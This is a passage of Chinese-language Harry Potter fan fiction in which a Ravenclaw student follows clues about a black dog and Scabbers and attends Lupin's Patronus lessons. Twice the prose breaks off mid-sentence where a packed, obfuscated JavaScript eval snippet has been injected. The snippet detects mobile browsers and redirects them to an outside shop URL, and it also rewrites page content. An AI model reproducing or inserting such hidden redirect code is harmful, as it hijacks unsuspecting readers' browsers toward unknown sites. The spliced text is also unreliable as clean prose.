消息像石子投入湖面,激起涟漪。课后,几个拉文克劳学生围在一起低声讨论。斯莱特林那边,潘西·帕金森正拉着马尔福的袖子:“德拉科,你会去吗?听说守护神咒超级难,但如果学会了……” 马尔福甩开她的手,灰蓝色的眼睛里闪过一丝不耐:“那种需要‘快乐回忆’的格兰芬多式把戏?浪费时间。”但他的目光却不由自主地飘向拉文克劳那边——Zhang正和佩蒂尔收拾东西,脸上没什么特别的表情。 这让他心里莫名一躁。她总是这样,平静得让人恼火。连守护神咒的消息都激不起她半点反应?还是说……她根本没什么“快乐回忆”可以用来构建守护神? “走。”他对克拉布和高尔说,转身快步离开教室。 周五上午,哈利终于被允许离开医疗翼。 他出现在礼堂时,脸色依旧苍白,眼下有浓重的阴影,但至少能自己走路了。罗恩和赫敏一左一右陪着他,像两个警惕的护卫。整个礼堂的目光瞬间集中过去——好奇的、同情的、幸灾乐祸的。 哈利低着头,快速走向格兰芬多长桌,仿佛想把自己缩进袍子里。经过拉文克劳这边时,他的目光与Eva短暂交汇。绿眼睛里没有了球场坠落前的空洞和破碎,但多了一层厚重的、近乎麻木的疲惫。他微微点了点头,算是打过招呼,便移开了视线。 早餐后,Eva在去古代如尼文课的路上,在四楼走廊拐角处被哈利叫住了。 “Eva。” 他独自一人,罗恩和赫敏似乎去了别处。走廊里没什么人,只有几幅肖像在打盹。 “你还好吗?”Eva停下脚步,轻声问。 哈利扯出一个勉强的笑容,那笑容比哭还难看。“还好。庞弗雷夫人说至少还要喝一周的缓和剂。”他顿了顿,声音压得更低,“关于……那件事。地图。” Eva立刻明白他指的是什么。 “我们还没找到证据。”哈利的声音里带着压抑的烦躁,“斑斑……它表现得和普通老鼠一模一样。地图上的点也只是偶尔移动。罗恩甚至开始怀疑是不是我们看错了,或者地图真的出了什么问题。” “但你们还在观察。”Eva陈述道。 哈利点了点头,绿眼睛里闪过一丝不甘。“我们得知道真相。如果我父母的死……如果彼得真的……”他没说完,深吸了一口气,“我们需要更多眼睛。更谨慎的眼睛。” 他看着她,眼神里有请求,也有一种沉重的信任:“我和罗恩、赫敏在明处,容易被注意。但你……你总是很安静,观察得很仔细。如果你在走廊、或者别的地方,注意到任何……不寻常的,关于斑斑,或者……别的什么。” 他没有说完,但意思很明白。他希望她成为他们秘密的另一个观察者,一个在暗处的眼睛。 Eva沉默了几秒。爷爷的叮嘱在耳边回响:“静观其变,守心为上。”妈妈的信里划着重点的“不参与、不涉险、求稳”。 但她也想起了活点地图上那个移动的墨点,想起了哈利坠落前那双彻底破碎的眼睛,想起了禁林边那只眼神异常的黑狗。这些碎片背后,是一个可能颠覆哈利全部认知的真相,一个被隐藏了十二年的秘密。 “好。”她最终轻声说,“如果我看到什么,会告诉你们。” 哈利的肩膀明显放松了一些。“谢谢。”他说,声音真诚,“还有……球场那天,谢谢你来看比赛。” “不用谢。” 他点了点头,转身匆匆离开,深红色的袍角消失在走廊拐角。 古代如尼文课后,Eva决定去一趟图书馆。不是完成作业,而是想查点东西。 平斯夫人像往常一样坐在高高的柜台后,锐利的目光扫视着每一个进出的学生。Eva径直走向禁书区旁边的普通藏书区——那里有一些关于魔法生物和变形术的基础书籍,不需要特殊许可。 她找了一本《常见魔法生物图鉴(英国及爱尔兰地区)》,在靠窗的老位置坐下。书很厚,插图粗糙,但分类还算清晰。她快速翻到关于“犬科魔法生物”的章节。 如她所料,大部分记载都是关于燕尾狗、三头犬路威这类显眼的魔法生物。关于普通犬类——尤其是黑狗——的记载很少,只有几段模糊的民俗传说:“在某些古老传说中,黑色犬类被视为不祥之兆,或与死亡、冥界有关联……” 没什么有用的信息。 她又找了一本《基础变形术原理(七年级选修)》,翻到关于阿尼马格斯的部分。内容比想象中简略,只提到阿尼马格斯变形是极高深的魔法,需要经年累月的练习和严格的风险控制,且必须在魔法部登记备案。书中列举了几位著名的合法阿尼马格斯,并严厉警告了非法变形的危险性:“……未登记的阿尼马格斯不仅违法,其变形稳定性也存疑,可能导致不可预知的副作用,甚至永久性形态滞留……” 没有具体案例,没有识别方法。 Eva合上书,望向窗外。天色渐暗,铅灰色的云层低垂,又要下雪了。图书馆里人很少,只有几个七年级学生在远处埋头苦读,准备N.E.W.T.考试。 她想起暑假在伦敦巷子里遇到的那只黑狗。受伤,警惕,眼神异常。又想起球场边那只——同样瘦骨嶙峋,同样眼神锐利,同样出现在哈利遭遇危险的时刻。 巧合太多了。 就在这时,图书馆的门被轻轻推开。赫敏·格兰杰抱着一摞摇摇欲坠的书走了进来。她的脸色比平时更加苍白,眼下有浓重的黑眼圈,但眼神却异常明亮,带着一种近乎偏执的专注。 她径直走向禁书区入口,向平斯夫人出示了一张纸条——显然是某位教授的特批许可。平斯夫人仔细检查后,才不情愿地打开栅栏,放她进去。 几分钟后,赫敏抱着一本厚重得吓人、封面是暗红色皮革、边缘用黄铜加固的大部头走了出来。书脊上烫金的字迹已经磨损,但依稀能辨认出:《威森加摩重大审判案例全录(1970-1981)》。 她走到Eva旁边的一张桌子坐下,小心翼翼地将那本巨书放在桌上,发出沉闷的“咚”的一声。然后她打开书包,取出羊皮纸、羽毛笔,还有几本已经翻得卷边的法律典籍,开始埋头查阅。 Eva注意到,赫敏翻开的书页正好是关于“1981年案件”的部分。她的手指快速划过一行行密密麻麻的小字,羽毛笔在羊皮纸上飞速记录,时不时停下来对照其他书籍。 她在查布莱克和彼得的案子。或者说,她在重新审视那个“官方版本”的真相。 Eva没有打扰她,只是安静地看了一会儿,便收拾东西离开了图书馆。有些寻找,只能独自完成。 周六早晨,雪停了。天空是洗过的、冷冽的湛蓝,阳光毫无遮挡地洒下来,将城堡照得一片金灿灿。庭院里的积雪被家养小精灵清理出几条主要通道,但大部分区域依旧覆盖着厚厚的白。 Eva决定去庭院散步。庞弗雷夫人说过,适度的户外活动有助于恢复,只要注意保暖和避免过度劳累。她裹上妈妈寄来的那件月白色绣竹披肩,又套上厚实的龙皮靴子,独自走出城堡。 冷空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045825|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像冰水灌入肺中,带来刺痛却也清醒的感觉。她沿着主路慢慢走着,靴子踩在压实了的雪上,发出“咯吱咯吱”的声响。庭院里人不多,几个低年级学生在远处打雪仗,笑声清脆得像铃铛。 她走到靠近温室的那片区域,这里相对僻静。几株常绿灌木在雪中露出深色的叶子,上面挂着晶莹的冰凌。她在一张被清理干净的长椅上坐下,仰头看着天空。阳光很亮,但没什么温度。 就在这时,她听到了声音。 不是学生的嬉闹,也不是风吹过树梢的沙沙声。是一种极其轻微的、积雪被踩压的“咯吱”声,从温室另一侧的树丛后传来。 很轻,很有节奏。 Eva没有动,只是微微侧过头,用眼角的余光望去。 树丛的间隙里,她看到了一个身影。 是那只黑狗。 它正蹲在树丛后的阴影里,距离她大约三十英尺。雪地上的足迹显示它是从禁林方向来的。此刻,它没有看她,而是仰着头,暗黄色的眼睛死死盯着城堡三楼的某个窗户——那是格兰芬多塔楼的方向。 它的姿态和球场那天一模一样:半蹲,肌肉紧绷,喉咙里发出一种压抑的、几乎听不见的低吼。那不是野兽的威胁,更像是一种充满痛苦的焦灼。 Eva的呼吸微微屏住。她没有动,甚至没有改变坐姿,只是将全部注意力集中在眼角的余光里。 黑狗在那里停留了大约一分钟。期间,它的头微微转动,似乎在确认周围环境。有那么一瞬间,它的目光扫过了她所在的方向。Eva立刻垂下眼帘,假装在看自己靴子上的雪粒。 那目光没有停留,很快移开了。 然后,黑狗站起身,悄无声息地转过身,踩着来时的足迹,再次消失在禁林方向的树影中。整个过程安静得像是幻觉,只有雪地上那行新鲜的爪印,证明它确实存在过。 Eva又在长椅上坐了几分钟,直到心跳恢复平稳,才缓缓站起身。 她没有立刻返回城堡,而是沿着黑狗消失的方向,慢慢走到那片树丛后。雪地上的爪印很清晰,大小和她记忆中暑假那只狗差不多。足迹一路延伸向禁林边缘,在那里变得杂乱——显然,狗在那里停留或徘徊过。 她蹲下身,仔细查看。在几处较深的足迹旁,她注意到一点暗红色的痕迹,已经冻结在雪里,像干涸的血迹。很细微,不仔细看根本发现不了。 Eva的指尖在雪地上停顿了一下,最终没有去碰那些痕迹。她站起身,冰冷的风裹着雪沫刮过脸颊。 转身返回城堡时,每一步都踩在“咯吱”作响的雪上,也踩在心头不断叠加的线索上。 如果它真是布莱克——一个阿尼马格斯,一个阿兹卡班的逃犯——那么他冒着被摄魂怪发现的巨大风险,两次三番靠近城堡,目的绝不仅仅是“观察”。 它在焦灼。那种姿态,不像猎手在耐心蹲守,更像……被困住的野兽,隔着栅栏死死盯着近在咫尺的目标,却找不到突破的办法。它的目标是什么? 彼得?如果彼得(斑斑)真在塔楼里,布莱克为何不尝试更直接地潜入格兰芬多公共休息室?胖夫人画像被袭或许就是一次失败的尝试。那么,阻碍他的是卡多根爵士,还是别的? 还是……哈利?这个念头让Eva脊背掠过一丝寒意。如果布莱克的目标包括哈利,那么他此刻的“按兵不动”就更令人不安——是在等待更好的时机,还是因为哈利身边总有旁人(罗恩、赫敏,甚至教授们)而难以下手? 更关键的是,它爪边的血迹(如果是新的)说明它可能受伤了,或者处境艰难。一个受伤、焦灼、却异常执着的危险分子…… 疑问像沉重的雪片一层层压下来。她知道,自己承诺的“在暗处观察”,此刻已不仅仅关乎一个朋友的秘密,更可能牵连到一场潜伏在城堡阴影里、随时可能爆发的危机。而她,是少数几个窥见冰山一角的人。 她回到拉文克劳塔楼时,公共休息室里炉火正旺,暖意裹挟着羊皮纸和旧书的熟悉气味扑面而来。曼蒂和帕德玛正为一步棋低声争论,棋盘上的小棋子气呼呼地挥舞着手中的武器。丽莎蜷在旁边的沙发里,膝盖上摊着《魔法史》,却歪着头看得快要睡着。 看到她带着一身寒气进来,曼蒂立刻从棋局中分神,抬起脸:“梅林!你去哪儿了?帕德玛说你去庭院,这种天气!”她注意到Eva肩头未化的雪粒和略显苍白的脸,声音里带上了担忧。 “只是走了走,透透气。”Eva解下披肩,朝她们露出一个安抚的浅笑,在壁炉边她常坐的扶手椅里坐下。椅垫还残留着白日的余温。 帕德玛移动了一枚棋子,趁机仔细看了Eva一眼,轻声问:“还好吗?你看起来……有点累。”丽莎也揉揉眼睛,清醒了些,投来关心的目光。 “嗯,有点。”Eva没有否认,将手伸向炉火烘烤,跳动的火焰在她沉静的眸子里映出两点暖光,“冬天容易让人乏。你们棋下得怎么样了?” 话题被轻轻带回了轻松的日常。但帕德玛和曼蒂交换了一个心照不宣的眼神——最近的Eva,似乎比之前恢复期时,多了些看不见的重重心事。 就在这时,公共休息室的门开了,带进一股走廊的寒气。秋·张走了进来,脸颊被风吹得微红。她扫视休息室,看到Eva坐在炉边,便摘下围巾,笑着走了过来。 “可算有点暖和了,”秋在Eva旁边的扶手椅坐下,舒服地叹了口气,随即看向她,“你下午出去了?看你肩头还有雪没化。最近总是一个人散步吗?”语气里带着朋友间自然的关心。 “嗯,去了趟庭院,透透气。”Eva轻声答。 “也好,不过要当心,天黑得越来越早了。”秋点点头,然后像是想起什么,语气里多了些神采,“对了,我正想找你。我刚从卢平教授办公室出来,关于他提到的守护神咒课外辅导……” 她将辅导班的时间、地点详细说了,并提到塞德里克和其他几个拉文克劳、赫奇帕奇的同学也打算参加。接着,她稍稍压低声音,带着点分享秘密的笑意:“塞德里克下课后跟我说,卢平教授今天课上似乎特别提到了你的练习,他觉得你那种……嗯,找到‘支点’的方法,可能很适合向守护神咒过渡。当然,他也说这咒语难得可怕。”她顿了顿,观察着Eva的神色,“你怎么想?我觉得……考虑到城堡外那些东西,多学一点总没坏处。当然,得看你自己的身体感觉。” Eva沉默着,指尖无意识地抚过腕间的玉佩。守护神咒,能驱散摄魂怪、温暖灵魂的光之屏障,此刻在她脑海里唤起的,却首先是一种生理性的预警。她尝试在想象中模拟那种咒语所需的、炽热如正午阳光般的快乐与力量,但仅仅是这个念头轻轻一触,丹田深处便传来一阵细微却清晰的抽痛,像一口干涸的井底被强行掘动,震起一片空虚的回响。 庞弗雷夫人严肃的脸庞仿佛就在眼前:“你的恢复经不起任何意外消耗,张小姐。”爷爷信笺上“守心为上,勿损根基”的字迹也沉甸甸地压在心头。她体内那股“炁”,像初春冰层下缓慢融化的细流,维系着脆弱的平衡。每一次稍强的情绪波动或魔法施展,带来的不仅是深层的空乏,更有经脉深处那种隐隐的、类似瓷器将裂未裂前的滞涩感。强行去点燃守护神?那无异于要求这细流瞬间化为奔涌的熔岩。或许能迸发出一瞬的光,但更可能的结果是……河道本身在高温下彻底崩碎,留下无法弥合的焦痕。 “我需要想想。”她最终对秋说,声音比想象中更干涩。 秋离开后,炉火的暖意包裹着她,却驱不散心底漫上来的寒意。她闭上眼,几个画面交替浮现:哈利·波特从扫帚上坠落时那双被抽空的眼睛;黑狗在雪地中焦灼回望城堡的神态;还有活点地图上那个静止在行李箱旁的墨点——“小矮星彼得”。 还有摄魂怪,如果下一次,摄魂怪不再止步于球场边缘?如果它们穿过了邓布利多设下的界限,扑向毫无防备的学生?如果哈利,或者罗恩、赫敏,甚至曼蒂、帕德玛……就暴露在那片绝望的寒冷中?而她,明明知道有一种方法可能点亮一点光,却因为恐惧“损及根基”而袖手旁观? 爷爷也说过:“知人者智,自知者明。强行不止,损身伤根。” 但这“明”,是否也包括明了何时“止”已不再是保全,而是另一种形式的“损”? 或许……她不需要立刻召唤出成型的银色守护神。但至少,她可以走向那间周三夜晚的教室,去了解“光”是如何诞生的。去学习如何在绝对的黑暗里,辨认并呵护第一颗火星。在需要做出选择的那一刻,她至少知道自己有能力尝试点燃什么,而不是只能被黑暗吞噬。 窗外的天色彻底暗了下来,又一场雪开始飘落。细密的雪片敲打着塔楼的窗户,发出绵密而执着的沙沙声,像某种催促,也像为她尚未做出的决定,覆盖上一层洁白的、等待书写的沉默。 80.温暖的共鸣 周三傍晚七点,黑魔法防御术教室灯火通明。 当Eva推开教室门时,里面已经聚集了二十多个学生。空气里弥漫着一种混合着紧张与期待的奇特气息,像是暴风雨来临前闷热的午后。窗外的天色已完全暗沉,苏格兰十二月的夜晚来得又早又坚决,玻璃窗上凝结着薄薄的雾气,将城堡其他地方的灯火模糊成朦胧的光晕。 拉文克劳和格兰芬多的学生占了多数。秋·张和塞德里克·迪戈里坐在靠前的第二排,正低声讨论着什么,看到Eva进来,秋对她招了招手,示意旁边有个空位。曼蒂和帕德玛也来了,尽管曼蒂坦承自己对“超级难的咒语”毫无信心,但还是“想看看守护神到底是什么样子”。 格兰芬多那边,哈利、罗恩和赫敏坐在教室左侧靠窗的位置。哈利的脸色依旧苍白——那种医疗翼里待了三天三夜、被缓和剂和噩梦轮番折磨后的苍白。他的右手无意识地按在左臂上,那里还残留着从高空坠落的幻痛,以及更深的、摄魂怪留下的寒意。 斯莱特林只来了零星几个。布雷司·扎比尼独自坐在最后一排靠门的位置,姿态懒散,一枚金加隆在他修长的指间无声翻转。他的目光偶尔掠过教室,在几个拉文克劳和格兰芬多学生身上短暂停留,嘴角挂着若有若无的弧度,像在评估一场有趣的赌局。德拉科·马尔福和他的两个跟班不在。几个斯莱特林女生低声议论着,声音隐约飘过来:“……潘西说马尔福认为这是‘格兰芬多式的多愁善感’……”“我看他是被上次博格特吓破了胆,不敢面对自己的‘快乐回忆’吧……” 布雷司似乎听到了,朝那个方向瞥了一眼,嘴角的弧度深了些,却没有加入讨论,只是将目光重新投向教室前方,仿佛在等待演出开场。 七点整,卢平教授准时走进教室。 他看起来比白天更加疲惫,眼下的阴影深得像涂了墨,旧袍子的袖口磨损得更厉害了。但他站上讲台时,背脊依旧挺直,灰色的眼睛扫过教室里的每一张面孔,带着一种温和却不容置疑的专注。 “感谢大家愿意花时间来尝试这门极富挑战性的魔法。”他的声音比平时略低,却清晰地在安静的教室里传开,“在开始之前,我必须再次强调:守护神咒是已知魔法体系中最难掌握的咒语之一。它需要的不是魔力强大,而是心灵的澄澈、坚定的意志,以及——最重要的——能够真正照亮黑暗的、纯粹而强大的正面情感。” 他顿了顿,目光似乎无意地扫过哈利苍白的脸,又迅速移开:“许多人终其一生也无法成功召唤出成型的守护神。更多的人,即使在最理想的状态下,也只能召唤出一团模糊的银雾。这很正常。今晚,我们不追求结果,只学习过程。” 教室里一片寂静,只有炉火木柴燃烧的噼啪声。 “守护神的本质,”卢平教授继续说,声音里带着一种近乎诗意的郑重,“是你内心最光明、最坚韧之物的具象化。它不是简单的‘快乐回忆’的堆砌,而是那些赋予你力量、定义你是谁、让你在绝境中依然选择前行的核心记忆的凝聚。” 他走下讲台,在教室中央慢慢踱步:“因此,第一步不是挥舞魔杖,而是向内审视。找到那个记忆——不是最快乐的,而是最坚实的。那个在你感到寒冷、绝望时,依然能让你感受到一丝暖意的时刻。” “现在,”他停下脚步,目光扫过全班,“闭上眼睛。尝试回忆。不需要分享,不需要描述,只需要在脑海里重现那个场景。越具体越好。” 教室里响起轻微的窸窣声。Eva闭上眼睛,将心神沉入深处。 几排开外,纳威·隆巴顿紧紧闭着眼,嘴唇却在不自觉地翕动,仿佛在无声地背诵什么步骤清单,眉头皱成了疙瘩。西莫·斐尼甘则显得跃跃欲试,刚闭上眼睛几秒就又偷偷睁开一条缝,好奇地瞟着卢平教授的动静,被旁边的迪安·托马斯用手肘轻轻撞了一下才老实。 弗雷德和乔治坐在教室后排。与大多数人闭眼皱眉的严肃姿态不同,他们俩挨得很近,眼睛倒是闭着,但嘴角却挂着如出一辙的、若有所思的弧度,仿佛在共享某个只有他们才懂的有趣念头。乔治的手指甚至无意识地在膝盖上轻轻敲击着某种欢快的节奏——也许是在回忆某次成功的恶作剧带来的、无与伦比的“快乐”。 拉文克劳的帕德玛·佩蒂尔和格兰芬多的帕瓦蒂·佩蒂尔,这对双胞胎姐妹此刻虽然被学院和座位隔开,却仿佛心有灵犀。帕德玛在拉文克劳区域微微侧头,而格兰芬多那边的帕瓦蒂几乎在同一时间,也朝着姐妹的方向不易察觉地偏了偏脸。两人闭着眼睛,呼吸的节奏却隐约同步,仿佛在隔着人群,无声地互相鼓励,分享着同一份属于双胞胎的、面对内心挑战时的紧张与依赖。 Eva让自己呼吸平缓下来,像爷爷教的那样,将心神沉入深处。体内那股“炁”缓慢流淌,带来一种熟悉的、近乎疲惫的清醒。 记忆……最坚实的记忆…… 许多画面闪过:老宅的槐花,妈妈绣的披肩,公共休息室的炉火,雪地里朋友们关切的眼神……但这些都像水面上的浮萍,轻轻一触就散开了。 她意识到,自己不是在寻找一个“快乐的场景”——那是西方魔法的路径。爷爷教的是另一条路:不是去点燃情绪,而是去确认一种存在。就像在绝对黑暗中,去触摸一块温热的石头,确认它在那里。 然后,一个画面固执地浮现出来。 不是具体的场景,而是一种感觉——去年在密室地底,金色光晕熄灭后,她倒在泥水里,意识模糊,几乎要沉入永恒的黑暗。但就在那时,有什么温暖的东西轻轻拂过她的额头。爷爷的手指,带着清冽的草药气息,还有那句平静到几乎听不见的话: “丽华,爷爷在。” 不是安慰,不是鼓励,只是一个简单的事实——有人在这里,不会离开。 那种感觉很奇怪:在最虚弱、最绝望的时刻,知道有一个地方、一个人,会无条件地接纳你的归来。这算不上“快乐”,甚至带着沉重的底色,但就是这份沉重本身,构成了某种不可动摇的基石。 她抓住这个感觉,像抓住黑暗中一根温热的绳索。 大约五分钟后,卢平教授的声音再次响起:“好了,睁开眼睛。” 学生们陆续睁开眼,脸上表情各异:有的困惑,有的若有所思,有的甚至眼圈微红。 “接下来是咒语部分。”卢平教授举起魔杖,“咒语是‘呼神护卫’。发音要清晰,但更重要的是——在念出咒语的同时,你必须全神贯注于刚才找到的那个记忆,将那份情感注入魔杖。” 他示范了一遍。魔杖尖端只亮起一点极其微弱、几乎看不见的银光,转瞬即逝。 “如你们所见,我今晚的状态并不适合完整施展守护神。”他坦然地说,语气里没有遗憾,只有平静的陈述,“这很正常。情绪状态、身体状况、甚至天气……都会影响咒语的效果。现在,请拿出你们的魔杖。” 教室里响起一片抽魔杖的沙沙声。 “不必急于成功,”卢平教授在课桌间缓缓走动,“先从感受开始。握住魔杖,回忆那个记忆,轻声念出咒语。注意魔杖的反应——哪怕只是一丝微弱的暖意,一点几乎看不见的光芒,都是进步。” Eva抽出紫杉木魔杖。杖身在掌心传来熟悉的温热触感,像老朋友的手。 她深吸一口气,闭上眼睛,重新沉入那个记忆——黑暗中的温暖手指,平静的声音。然后,她轻声念出: “呼神护卫。” 魔杖尖端没有任何反应。没有光,没有暖意,什么都没有。只有体内那股“炁”因为她的集中意念而微微波动了一下,带来一阵熟悉的、深层的空乏感。 她不意外。 周围已经陆续响起其他学生的尝试声。大多数人也是毫无反应。苏珊·博恩斯的魔杖尖冒出了一小团银白色的雾气,像冬日的呵气,但很快就消散了。塞德里克·迪戈里尝试了三次,终于在第三次时,杖尖迸发出几颗明亮的银星,在空中闪烁了几秒才熄灭,引来周围一阵低低的惊叹。 “很好,迪戈里先生。”卢平教授点点头,“你找到了感觉。不必强求持久,先感受光芒绽放的瞬间。” 哈利也举起了魔杖。他的眉头紧锁,嘴唇抿成一条直线,显然在努力回忆。但当他念出咒语时,魔杖尖只勉强喷出几缕稀薄的银雾,颜色暗淡,几乎立刻就被空气吞没。他的脸色更白了,额头上渗出细密的汗珠。 “别着急,波特。”卢平教授走到他身边,声音放得很轻,“你的情况特殊。摄魂怪的寒意还留在你的神经里,这会干扰你调动正面情绪。慢慢来,先从最简单的温暖感觉开始——哪怕只是一杯热可可带来的舒适。” 哈利点点头,但绿眼睛里的挫败感显而易见。 Eva再次尝试。 这一次,她不再强行“注入”情感,而是让那个记忆自然地在意识深处浮现。黑暗,泥水,寒冷,然后是指尖的温暖,声音的平静。她握住这种感觉,像握着一枚温热的石头,然后轻声念咒: “呼神护卫。” 魔杖尖端终于有了反应——不是光,而是一丝极其微弱、几乎难以察觉的暖意,从杖身流向她的掌心。很短暂,像错觉。 但Eva知道不是错觉。 那种暖意和她体内“炁”的流动不同——更轻盈,更明亮,带着一种近乎稚嫩的、却顽强向上的生命力。像是冰层下第一股融水的颤动。 她睁开眼睛。 “感觉到了什么?”卢平教授不知何时走到了她桌边,声音很轻。 “一点暖意。”Eva如实回答,“很弱,但确实存在。” 卢平教授灰色的眼睛里闪过一丝赞许:“很好。那是咒语与你产生共鸣的迹象。对初学者而言,能感知到魔杖的反应,比召唤出光芒更重要。它意味着你找到了正确的‘通道’。” 他顿了顿,看着她的眼睛,语气里带着一丝教师发现学生特质的温和好奇:“你在刚才的‘记忆锚定’练习中也很沉得住气。现在又这么快感知到了魔杖的回应……你似乎很擅长这种内在的‘感知’与‘观察’,而非急于驱动魔力去达成外在效果?” Eva沉默了几秒,最终轻轻点头:“我爷爷说,先要能听见,才能学会说话。” 这句话用中文的思维说出来,在英语语境里显得有些古怪,但卢平教授似乎听懂了。他微微颔首:“很智慧的说法。那么,今晚就到此为止——不是停止尝试,而是停止‘强求’。记住那种暖意的感觉,在接下来的日子里,时不时温习那个记忆,感受魔杖的共鸣。守护神的成长需要耐心,像照料一株从冻土里萌发的幼苗。” 他转向全班:“今天的课就到这里。记住,守护神咒的练习不在时长,而在质量。每天花五分钟,认真尝试一次,比心不在焉地练习一小时有效得多。周五同一时间,我们继续。” 学生们陆续起身,收拾东西离开。议论声像涨潮般响起,填满了教室。纳威的嘟囔、西莫的兴奋、双胞胎的窃窃私语、佩蒂尔姐妹的无声交流……各种声音混在一起,涌向门口。 Eva和帕德玛、曼蒂随着人流挤出教室。走廊瞬间被喧嚣淹没,冰冷的石壁仿佛也吸收了这份躁动。她们三人被人潮推着向前,几乎不用自己迈步。 “我连魔杖都没热一下!”罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050622|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩懊恼的声音从右前方传来。 “别在走廊里乱挥魔杖,费尔奇看到又要扣分!”赫敏立刻制止,声音急切,“而且我们得赶紧去图书馆,那本《近代审判案例》八点半前必须还回去!”她抱着那本砖头似的巨著,艰难地在人群中保持平衡。 哈利跟在两人身后几步,脸色在走廊摇晃的火把光下显得更加苍白黯淡。他走得很慢,似乎有些跟不上朋友的步伐,目光有些失焦地望向前方攒动的人头。 就在这时,哈利似乎被旁边一个急匆匆的赫奇帕奇男生撞了一下肩膀,踉跄半步,恰好退到了靠近墙边的位置,与Eva她们走的人流边缘接近了。他下意识地扶了下墙,抬眼时,目光与正好经过的Eva对上。 他嘴唇动了动,似乎想说什么,但周围太吵了。Eva看到他眼中未散的挫败和一丝迷茫,脚步几不可察地放慢了一点,对帕德玛和曼蒂说:“你们先走,我有点东西好像忘在教室了。” 她声音不大,但足够让靠近的哈利听到。 帕德玛看了一眼哈利,又看看Eva,了然地点点头:“好,那我们在塔楼休息室等你。” 她拉上还想问什么的曼蒂,随着主流人群向前走去。 人流在这里分岔,一部分涌向图书馆方向,一部分转向通往各个塔楼的楼梯。走廊顿时空旷了不少,喧嚣声也随之降低,变成了一种嗡嗡的背景音。Eva退到墙边一幅打盹的胖修士肖像下,这里相对安静。哈利也顺势走了过来,背靠着冰冷的石壁,短暂地闭了闭眼,像是在抵御一阵眩晕。 “刚才在教室里,”他开口,声音有些沙哑,但足够清晰,“卢平教授走到你旁边时,你们说了什么?” 他没有掩饰语气里的那点急切,像是在黑暗里摸索的人,急切地想抓住任何一点可能的微光。 “他说我感知到了魔杖的共鸣。”Eva如实回答,目光落在哈利依旧紧握魔杖、指节发白的手上,“一点暖意。” “暖意……”哈利重复这个词,低头看了看自己的魔杖,语气里的挫败感更重了,“我连暖意都感觉不到。只有……冷。每次我试着回忆什么——魁地奇赢球,收到光轮2000——那些画面一出现,摄魂怪的寒意就会涌上来,把一切都冻住,撕碎。” 他深吸一口气,声音更低,“我甚至不知道,对我来说,什么记忆才算‘最坚实的’。那些看起来快乐的……好像都隔着一层冰。” 旁边又有几个学生说笑着跑过,带起一阵风。哈利烦躁地将脸往阴影里侧了侧。 Eva沉默了几秒,等待那阵喧闹过去。走廊里残余的嘈杂成了他们对话模糊的背景板,反而让压低的声音更不易被捕捉。她想起卢平教授的话,也想起自己抓住的那份沉重却坚实的“存在感”。 “也许,”她最终轻声开口,目光平静地看向哈利,“不一定是‘快乐’的。” 哈利抬起头,困惑地看着她。 “卢平教授说,是‘赋予你力量、定义你是谁’的记忆。”Eva的声音很平稳,几乎要被远处楼梯口传来的、某个级长催促学生的喊声盖过,“快乐会消散,会被寒冷覆盖。但有些东西……或许因为本身就带着重量,反而冻不住。” 她没有继续说下去。有些话不能说透,就像此刻走廊里尚未散尽的人声与逐渐回归的寂静所形成的对比,本身就是一种无言的提醒——光与暗、暖与寒、喧嚣与孤独,总是并存。 哈利盯着她看了好几秒,灰绿色的瞳孔在昏暗光线下收缩了一下。他没有完全理解,但他听懂了那层没说出口的暗示——或许他需要寻找的,不是阳光灿烂的沙滩,而是暴风雨中一块能让他站稳的礁石。 “……谢谢。”他最终低声说,这个词干涩地从喉咙里挤出来。他没有说更多,但肩膀上那种近乎崩断的紧绷感,似乎稍微松动了一线。他需要时间去消化这个完全不同的思路。 “我得走了,”他看了一眼图书馆方向——那里隐约传来赫敏提高嗓门的催促:“哈利!八点半闭馆!”,随即压低声音,“赫敏在等我,关于……一些作业。”他顿了顿,又补充了一句,声音轻得像耳语:“我会……想想。” 他转身,快步走向图书馆的方向,深红色的袍角很快消失在走廊拐角的阴影里,像被那片寂静吞没了。 Eva在原地站了片刻。走廊彻底空了下来,先前的喧嚣仿佛被厚重的石墙吸收殆尽,只剩下她自己清浅的呼吸声,以及窗外永不止息的、细密的落雪声。刚才对话的余音和守护神咒练习时感受到的那一丝微弱暖意,与此刻包裹着她的、霍格沃茨冬夜特有的深沉寂静形成了奇异的对比。 她没有立刻返回拉文克劳塔楼,而是下意识地选择了另一条路——一条会经过温室、稍微绕远但更安静的走廊。靴子踩在冰冷石板上发出清晰的回响,一声,又一声。窗外的雪光透过彩绘玻璃,在墙上投下斑驳模糊的影子。 就在她经过温室附近那条僻静回廊时,脚步几不可察地顿了一下。 墙角一小片未化的积雪上,有一个浅浅的、不像人类靴子留下的奇怪凹痕,旁边还散落着几片被踩碎的枯叶。痕迹很新,还没来得及被新的落雪完全覆盖。她蹲下身,仔细查看。在凹痕边缘,一点极其细微的暗红色,已经冻结在雪晶里。 她猛地抬头,目光扫向走廊尽头的窗户——那里,禁林方向的树影在夜色中摇晃,像蛰伏的巨兽。 没有触碰,她站起身,冰冷的风从走廊尽头未关严的窗户缝隙钻进来,卷起她深蓝色的袍角。那点暗红痕迹很快就会被新的落雪掩埋,就像今晚所有的秘密、尝试和低语,最终都将被霍格沃茨漫长而沉默的冬夜悄然覆盖。 雪,还在静静地下着。 81.雪夜微光 